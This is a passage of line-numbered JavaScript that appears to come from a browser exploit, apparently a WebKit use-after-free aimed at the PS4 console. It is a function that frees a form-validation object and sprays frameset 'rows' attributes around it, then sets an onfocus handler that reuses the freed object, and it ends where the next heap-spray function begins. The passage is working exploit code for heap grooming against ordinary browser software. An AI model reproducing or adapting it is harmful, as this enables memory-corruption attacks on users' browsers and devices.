| 384 | } |
| 385 | |
| 386 | function prepareUAF() { |
| 387 | g_input.setCustomValidity("ps4"); |
| 388 | |
| 389 | for (let i = 0; i < NB_FRAMES; i++) { |
| 390 | var element = document.createElement("frameset"); |
| 391 | g_frames.push(element); |
| 392 | } |
| 393 | |
| 394 | g_input.reportValidity(); |
| 395 | var div = document.createElement("div"); |
| 396 | document.body.appendChild(div); |
| 397 | div.appendChild(g_input); |
| 398 | |
| 399 | /* First half spray */ |
| 400 | for (let i = 0; i < NB_FRAMES / 2; i++) |
| 401 | g_frames[i].setAttribute("rows", g_rows1); |
| 402 | |
| 403 | /* Instantiate target obj */ |
| 404 | g_input.reportValidity(); |
| 405 | |
| 406 | /* ... and the second half */ |
| 407 | for (let i = NB_FRAMES / 2; i < NB_FRAMES; i++) |
| 408 | g_frames[i].setAttribute("rows", g_rows2); |
| 409 | |
| 410 | g_input.setAttribute("onfocus", "reuseTargetObj()"); |
| 411 | g_input.autofocus = true; |
| 412 | } |
| 413 | |
| 414 | /* HTMLElement spray */ |
| 415 | function sprayHTMLTextArea() { |